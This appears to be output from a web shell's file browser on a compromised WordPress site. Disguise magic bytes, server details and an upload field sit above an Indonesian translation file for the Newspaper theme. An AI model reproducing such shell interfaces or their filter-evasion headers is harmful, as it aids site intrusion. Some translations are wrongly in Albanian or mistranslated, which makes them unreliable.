%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/ |
Upload File : |
msgid "" msgstr "" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language: id_ID\n" msgid "View all results" msgstr "Lihat semua hasil" msgid "No results" msgstr "Tidak ada hasil" msgid "Home" msgstr "Beranda" msgid "CLOSE" msgstr "TUTUP" msgid "Page" msgstr "Halaman" msgid "All" msgstr "Semua" msgid "By" msgstr "Penulis" msgid "Load more" msgstr "Muat lebih banyak" msgid "View all posts in" msgstr "Lihat semua kiriman dalam" msgid "Tags" msgstr "Topik" msgid "Previous article" msgstr "Artikulli paraprak" msgid "Next article" msgstr "Artikulli tjetër" msgid "Authors" msgstr "Penulis" msgid "Author" msgstr "Penulis" msgid "RELATED ARTICLES" msgstr "ARTIKEL TERKAIT" msgid "MORE FROM AUTHOR" msgstr "DARI PENULIS" msgid "VIA" msgstr "VIA" msgid "SOURCE" msgstr "SUMBER" msgid "TAGS" msgstr "TOPIK" msgid "SHARE" msgstr "BAGIKAN" msgid "Continue" msgstr "Lanjutkan" msgid "Read more" msgstr "Baca Selengkapnya" msgid "Name:" msgstr "Nama:" msgid "Email:" msgstr "Email:" msgid "Website:" msgstr "Website:" msgid "Comment:" msgstr "Komentar:" msgid "LEAVE A REPLY" msgstr "TINGGALKAN KOMENTAR" msgid "Post Comment" msgstr "Kirim Komentar" msgid "Cancel reply" msgstr "Batal membalas" msgid "Reply" msgstr "Balas" msgid "Log in to leave a comment" msgstr "Login untuk meninggalkan komentar" msgid "NO COMMENTS" msgstr "TIDAK ADA KOMENTAR" msgid "1 COMMENT" msgstr "1 KOMENTAR" msgid "COMMENTS" msgstr "KOMENTAR" msgid "REVIEW OVERVIEW" msgstr "TINJAUAN IKHTISAR" msgid "SUMMARY" msgstr "RINGKASAN" msgid "OVERALL SCORE" msgstr "NILAI KESELURUHAN" msgid "Ooops... Error 404" msgstr "Ooops ... Kesalahan 404" msgid "Sorry, but the page you are looking for doesn't exist." msgstr "Maaf, halaman yang Anda cari tidak ada." msgid "You can go to the" msgstr "Anda dapat pergi ke" msgid "HOMEPAGE" msgstr "HALAMAN AWAL" msgid "OUR LATEST POSTS" msgstr "KIRIMAN TERBARU KAMI" msgid "Posts by" msgstr "Dikirim oleh" msgid "POSTS" msgstr "KIRIMAN" msgid "Posts tagged with" msgstr "Kiriman ditandai dengan" msgid "Tag" msgstr "Topik" msgid "Daily Archives:" msgstr "Arsip Harian:" msgid "Monthly Archives:" msgstr "Arsip Bulanan:" msgid "Yearly Archives:" msgstr "Arsip Tahunan:" msgid "Archives" msgstr "Arsip" msgid "LATEST ARTICLES" msgstr "ARTIKUJT E FUNDIT" msgid "search results" msgstr "hasil pencarian" msgid "Search" msgstr "Cari" msgid "If you're not happy with the results, please do another search" msgstr "Jika Anda tidak puas dengan hasilnya, silakan melakukan pencarian lain" msgid "Contact us" msgstr "Hubungi kami" msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%" msgstr "Halaman %CURRENT_PAGE% dari %TOTAL_PAGES%" msgid "Next" msgstr "Berikutnya" msgid "Prev" msgstr "Sebelumnya" msgid "No results for your search" msgstr "Tidak ada hasil untuk pencarian Anda" msgid "No posts to display" msgstr "Tidak ada kiriman yang ditampilkan" msgid "LOG IN" msgstr "MASUK" msgid "Sign in / Join" msgstr "Masuk / Bergabung" msgid "Log In" msgstr "Masuk" msgid "REGISTER" msgstr "DAFTAR" msgid "Send My Pass" msgstr "Kirim Kata Sandi Saya" msgid "Forgot your password?" msgstr "Lupa kata sandi Anda?" msgid "Please wait..." msgstr "Mohon tunggu…" msgid "User or password incorrect!" msgstr "Pengguna dan password salah!" msgid "Email or username incorrect!" msgstr "Email atau nama pengguna salah!" msgid "Email incorrect!" msgstr "Email tidak benar!" msgid "User or email already exists!" msgstr "Pengguna atau email sudah ada!" msgid "Please check you email (index or spam folder), the password was sent there." msgstr "Silakan cek email (indeks atau folder spam), password dikirim ke sana." msgid "Email address not found!" msgstr "Alamat email tidak ditemukan!" msgid "Your password is reset, check your email." msgstr "Kata sandi Anda diatur ulang, cek email Anda." msgid "Welcome! Log into your account" msgstr "Selamat Datang! Masuk ke akun Anda" msgid "Register for an account" msgstr "Mendaftar membuat akun" msgid "Recover your password" msgstr "Memulihkan kata sandi anda" msgid "your username" msgstr "nama pengguna" msgid "your password" msgstr "kata sandi Anda" msgid "your email" msgstr "email Anda" msgid "A password will be e-mailed to you." msgstr "Sebuah kata sandi akan dikirimkan ke email Anda." msgid "Logout" msgstr "Keluar" msgid "Like" msgstr "Suka" msgid "Fans" msgstr "Fans" msgid "Follow" msgstr "Mengikuti" msgid "Followers" msgstr "Pengikut" msgid "Subscribe" msgstr "Berlangganan" msgid "Subscribers" msgstr "Pelanggan" msgid "MORE STORIES" msgstr "ARTIKEL LEBIH" msgid "Latest" msgstr "Terbaru" msgid "Featured posts" msgstr "Kiriman menarik" msgid "Most popular" msgstr "Terpopuler" msgid "7 days popular" msgstr "7 hari populer" msgid "By review score" msgstr "Dengan nilai peninjauan" msgid "Random" msgstr "Acak" msgid "Trending Now" msgstr "News" msgid "POPULAR CATEGORY" msgstr "KATEGORI E POPULLARIZUAR" msgid "EVEN MORE NEWS" msgstr "ARTIKEL LAINNYA" msgid "Previous (Left arrow key)" msgstr "Sebelumnya (tombol panah kiri)" msgid "Next (Right arrow key)" msgstr "Berikutnya (tombol panah kanan)" msgid "%curr% of %total%" msgstr "%curr% dari %total%" msgid "The content from %url% could not be loaded." msgstr "Isi dari %url% tidak dapat dimuat." msgid "The image #%curr% could not be loaded." msgstr "Gambar #%curr% tidak dapat dimuat." msgid "Blog" msgstr "blog" msgid "Share on Facebook" msgstr "Share ke Facebook" msgid "Tweet on Twitter" msgstr "Tweet on Twitter" msgid "EDITOR PICKS" msgstr "PILIHAN EDITOR" msgid "POPULAR POSTS" msgstr "POSTING POPULER" msgid "FOLLOW US" msgstr "IKUTI KAMI" msgid "ABOUT US" msgstr "TENTANG KAMI" msgid "More" msgstr "Lainnya" msgid "Featured" msgstr "Fitur" msgid "All time popular" msgstr "Populer" msgid "Likes" msgstr "Seperti" msgid "Register" msgstr "Regjistrohu" msgid "of" msgstr "dari" msgid "Euro Member Countries" msgstr "Negara anggota euro" msgid "Your comment is awaiting moderation" msgstr "Komentar dari anda sedang menunggu moderasi" msgid "Follow us on Instagram" msgstr "Ikuti kami di instagram" msgid "Back" msgstr "Kembali" msgid "Sign in" msgstr "Masuk" msgid "Sign up" msgstr "Daftar" msgid "Join" msgstr "Ikut" msgid "Welcome!" msgstr "SELAMAT DATANG!" msgid "Log into your account" msgstr "Masuk ke akun Anda" msgid "Password recovery" msgstr "Pemulihan password" msgid "Please check your email (index or spam folder), the password was sent there." msgstr "Silahkan cek email Anda (indeks atau spam folder), password dikirim ke sana." msgid "Australian Dollar" msgstr "Dollar Australia" msgid "Bulgarian Lev" msgstr "Lev Bulgaria" msgid "Brazilian Real" msgstr "Nyata brazilian" msgid "Canadian Dollar" msgstr "Dolar Kanada" msgid "Swiss Franc" msgstr "Swiss franc" msgid "Chinese Yuan Renminbi" msgstr "Cina yuan renminbi" msgid "Czech Republic Koruna" msgstr "Ceko Republik koruna" msgid "Danish Krone" msgstr "Krone Denmark" msgid "British Pound" msgstr "Pound Inggris" msgid "Hong Kong Dollar" msgstr "Dolar hong kong" msgid "Croatian Kuna" msgstr "Kuna Kroasia" msgid "Hungarian Forint" msgstr "Forint Hongaria" msgid "Indonesian Rupiah" msgstr "Rupiah indonesia" msgid "Israeli Shekel" msgstr "Shekel Israel" msgid "Indian Rupee" msgstr "Rupee India" msgid "Japanese Yen" msgstr "Yen Jepang" msgid "Korean (South) Won" msgstr "Korea (selatan) won" msgid "Mexican Peso" msgstr "Meksiko peso" msgid "Malaysian Ringgit" msgstr "Ringgit Malaysia" msgid "Norwegian Krone" msgstr "Krone Norwegia" msgid "New Zealand Dollar" msgstr "Dolar Selandia baru" msgid "Philippine Peso" msgstr "Peso Filipina" msgid "Polish Zloty" msgstr "Zloty Polandia" msgid "Romanian (New) Leu" msgstr "Rumania (baru) leu" msgid "Russian Ruble" msgstr "Rubel Rusia" msgid "Swedish Krona" msgstr "Krona Swedia" msgid "Singapore Dollar" msgstr "Dollar singapore" msgid "Thai Baht" msgstr "Thai baht" msgid "Turkish Lira" msgstr "Lira Turki" msgid "United States Dollar" msgstr "United states dollar" msgid "South African Rand" msgstr "Selatan rand Afrika" msgid "Privacy Policy" msgstr "Rahasia pribadi" msgid "views" msgstr "dilihat" msgid "Modified date:" msgstr "Tanggal yang diubah:" msgid "Please enter your name here" msgstr "Silakan masukkan nama Anda di sini" msgid "Please enter your email address here" msgstr "Silakan masukkan alamat email Anda di sini" msgid "You have entered an incorrect email address!" msgstr "Anda telah memasukkan alamat email yang salah!" msgid "Please enter your comment!" msgstr "Silakan masukkan komentar anda!" msgid "Logged in as" msgstr "Masuk sebagai" msgid "Log out?" msgstr "Keluar?" msgid "Logged in as %s. Edit your profile." msgstr "Masuk sebagai% s. sunting profilmu." msgid "Edit" msgstr "Sunting" msgid "Login" msgstr "Masuk" msgid "Send My Password" msgstr "Kirim kata sandi saya" msgid "Create an account" msgstr "Buat sebuah akun" msgid "Welcome! Register for an account" msgstr "Selamat datang! daftar untuk akun" msgid "About me" msgstr "Tentang saya" msgid "Save my name, email, and website in this browser for the next time I comment." msgstr "Simpan nama, email, dan situs web saya di browser ini untuk lain kali saya berkomentar." msgid "Orders" msgstr "Pesanan" msgid "Addresses" msgstr "Alamat" msgid "Account settings" msgstr "Pengaturan akun" msgid "Hello" msgstr "Halo" msgid "No products in the cart." msgstr "Tidak ada produk di keranjang." msgid "Product categories" msgstr "Kategori Produk" msgid "Product tags" msgstr "Tag produk" msgid "Success" msgstr "Kesuksesan" msgid "Acknowledgment is required!" msgstr "Pengakuan diperlukan!" msgid "Please fill in a valid email." msgstr "Silahkan isi email yang valid." msgid "Please fill in an email address." msgstr "Silahkan isi alamat email." msgid "Get into your account." msgstr "Masuk ke akun Anda." msgid "My subscription account" msgstr "Akun langganan saya" msgid "Account details" msgstr "Detail akun" msgid "Subscriptions" msgstr "Langganan" msgid "My woo account" msgstr "Akun woo saya" msgid "Log out" msgstr "Keluar" msgid "Email address" msgstr "Alamat email" msgid "Username" msgstr "Nama pengguna" msgid "Password" msgstr "Kata sandi" msgid "must contain at least one lower case (a..z)" msgstr "harus mengandung setidaknya satu huruf kecil (a..z)" msgid "must contain at least one upper case (A..Z)" msgstr "harus mengandung setidaknya satu huruf besar (a..z)" msgid "must contain at least 6 characters in length" msgstr "harus berisi minimal 6 karakter" msgid "Repeat password" msgstr "Masukkan kata kunci kembali" msgid "Already have an account?" msgstr "Sudah memiliki akun?" msgid "Recover password" msgstr "Pulihkan kata sandi" msgid "Username or Email address" msgstr "Nama pengguna atau alamat email" msgid "Forgot password?" msgstr "Tidak ingat kata sandi?" msgid "Don't have an account?" msgstr "Tidak punya akun?" msgid "Dashboard" msgstr "Dasbor" msgid "Welcome to your account!" msgstr "Selamat datang di akun Anda!" msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details." msgstr "Halo %1$s (bukan %2$s? %3$s)! dari dasbor akun Anda, Anda dapat melihat langganan dan mengelola detail akun Anda." msgid "Lost Password" msgstr "Kehilangan Kata sandi" msgid "Manage your account details." msgstr "Mengelola detail akun Anda." msgid "First name" msgstr "Nama depan" msgid "Last name" msgstr "Nama keluarga" msgid "Display name" msgstr "Nama tampilan" msgid "Current password" msgstr "Kata sandi saat ini" msgid "(leave blank to leave unchanged)" msgstr "(kosongkan agar tidak berubah)" msgid "New password" msgstr "Kata sandi baru" msgid "Confirm new password" msgstr "Konfirmasi password baru" msgid "Save changes" msgstr "Simpan perubahan" msgid "All your subscriptions." msgstr "Semua langganan Anda." msgid "Plan" msgstr "Rencana" msgid "Payment type" msgstr "Tipe pembayaran" msgid "Status" msgstr "Status" msgid "Months" msgstr "Bulan" msgid "Start date" msgstr "Mulai tanggal" msgid "End date" msgstr "Tanggal akhir" msgid "missing plan" msgstr "rencana yang hilang" msgid "Free" msgstr "Gratis" msgid "Active" msgstr "Aktif" msgid "Trial" msgstr "Uji coba" msgid "Blocked" msgstr "Diblokir" msgid "Closed" msgstr "Tertutup" msgid "Not paid" msgstr "Tidak dibayarkan" msgid "Awaiting payment" msgstr "Menunggu Pembayaran" msgid "Subscription info" msgstr "Info berlangganan" msgid "ID" msgstr "INDO" msgid "Name" msgstr "Nama" msgid "Company name" msgstr "Nama Perusahaan" msgid "VAT" msgstr "TONG" msgid "Address" msgstr "Alamat" msgid "City" msgstr "Kota" msgid "Country/State" msgstr "Negara Bagian" msgid "Email" msgstr "Surel" msgid "Postal code" msgstr "Kode Pos" msgid "Direct bank transfer details" msgstr "Detail transfer bank langsung" msgid "Account name" msgstr "Nama akun" msgid "Account number" msgstr "Nomor akun" msgid "Bank name" msgstr "Nama Bank" msgid "Routing number" msgstr "Nomor perutean" msgid "IBAN" msgstr "IBAN" msgid "Bic/Swift" msgstr "Bic/cepat" msgid "Instructions" msgstr "Instruksi" msgid "No subscription created." msgstr "Tidak ada langganan yang dibuat." msgid "Choose plan" msgstr "Pilih paket" msgid "Payment methods" msgstr "Cara Pembayaran" msgid "Total" msgstr "Total" msgid "Period" msgstr "Titik" msgid "Subscription summary" msgstr "Ringkasan berlangganan" msgid "Phone" msgstr "Telepon" msgid "Postcode" msgstr "Kode Pos" msgid "County" msgstr "Daerah" msgid "Town/City" msgstr "Kota/kota" msgid "Street address" msgstr "Alamat jalan" msgid "Country/Region" msgstr "Negara/wilayah" msgid "VAT Number" msgstr "Nomor PPN" msgid "(optional)" msgstr "(pilihan)" msgid "Billing details" msgstr "Rincian tagihan" msgid "User information" msgstr "Informasi pengguna" msgid "It seems that no available payment methods have been configured." msgstr "Tampaknya tidak ada metode pembayaran yang tersedia yang telah dikonfigurasi." msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!" msgstr "Terima kasih! kami senang melihat Anda di sini. langganan Anda akan segera diaktifkan!" msgid "Our bank details" msgstr "Rincian bank kami" msgid "Your subscription details" msgstr "Detail langganan Anda" msgid "View subscription" msgstr "Lihat langganan" msgid "You have not selected a valid subscription plan." msgstr "Anda belum memilih paket berlangganan yang valid." msgid "Field empty" msgstr "Lapangan kosong" msgid "Empty first name" msgstr "Nama depan kosong" msgid "Empty last name" msgstr "Nama belakang kosong" msgid "Empty country" msgstr "Negara kosong" msgid "Empty address" msgstr "Alamat kosong" msgid "Empty city" msgstr "Kota kosong" msgid "Empty county" msgstr "Kabupaten kosong" msgid "Empty postcode" msgstr "Kode pos kosong" msgid "Empty phone" msgstr "Telepon kosong" msgid "Empty email" msgstr "Email kosong" msgid "Email or username empty!" msgstr "Email atau nama pengguna kosong!" msgid "Pass empty!" msgstr "Lulus kosong!" msgid "Username incorrect!" msgstr "Nama pengguna salah!" msgid "Invalid Pass Pattern!" msgstr "Pola lulus tidak valid!" msgid "Please activate your account by following the link sent to your email address." msgstr "Silahkan aktifkan akun anda dengan mengikuti link yang dikirimkan ke alamat email anda." msgid "Resend activation link" msgstr "Kirim ulang tautan aktivasi" msgid "In order to have access to this section, you have to activate your account." msgstr "Untuk memiliki akses ke bagian ini, Anda harus mengaktifkan akun Anda." msgid "Email empty!" msgstr "Email kosong!" msgid "Username empty!" msgstr "Nama pengguna kosong!" msgid "Pass pattern incorrect!" msgstr "Pola lulus salah!" msgid "Retyped pass empty!" msgstr "Ketik ulang pass kosong!" msgid "Retyped pass exactly!" msgstr "Mengetik ulang lulus persis!" msgid "User already exists!" msgstr "Pengguna sudah ada!" msgid "Email already exists!" msgstr "Email sudah ada!" msgid "Your account could not be created." msgstr "Akun Anda tidak dapat dibuat." msgid "Please check your email (inbox or spam folder) to validate your account." msgstr "Silakan periksa email Anda (kotak masuk atau folder spam) untuk memvalidasi akun Anda." msgid "User empty!" msgstr "Pengguna kosong!" msgid "User does not exists!" msgstr "Pengguna tidak ada!" msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account." msgstr "Tautan aktivasi baru telah dibuat. silakan periksa email Anda (kotak masuk atau folder spam) untuk memvalidasi akun Anda." msgid "CAPTCHA verification failed!" msgstr "Verifikasi captcha gagal!" msgid "CAPTCHA user score failed. Please contact us!" msgstr "Skor pengguna captcha gagal. silahkan hubungi kami!" msgid "Loading" msgstr "Memuat" msgid "Here are the results for the search:" msgstr "Berikut hasil pencariannya :" msgid "Price" msgstr "Harga" msgid "EXCLUSIVE" msgstr "EKSKLUSIF" msgid "Tel:" msgstr "Telp:" msgid "Share" msgstr "Bagikan" msgid "Print" msgstr "Mencetak" msgid "At" msgstr "Pada" msgid "Comments are closed." msgstr "Komentar ditutup." msgid "My account" msgstr "Akun saya" msgid "Payment method" msgstr "Cara Pembayaran"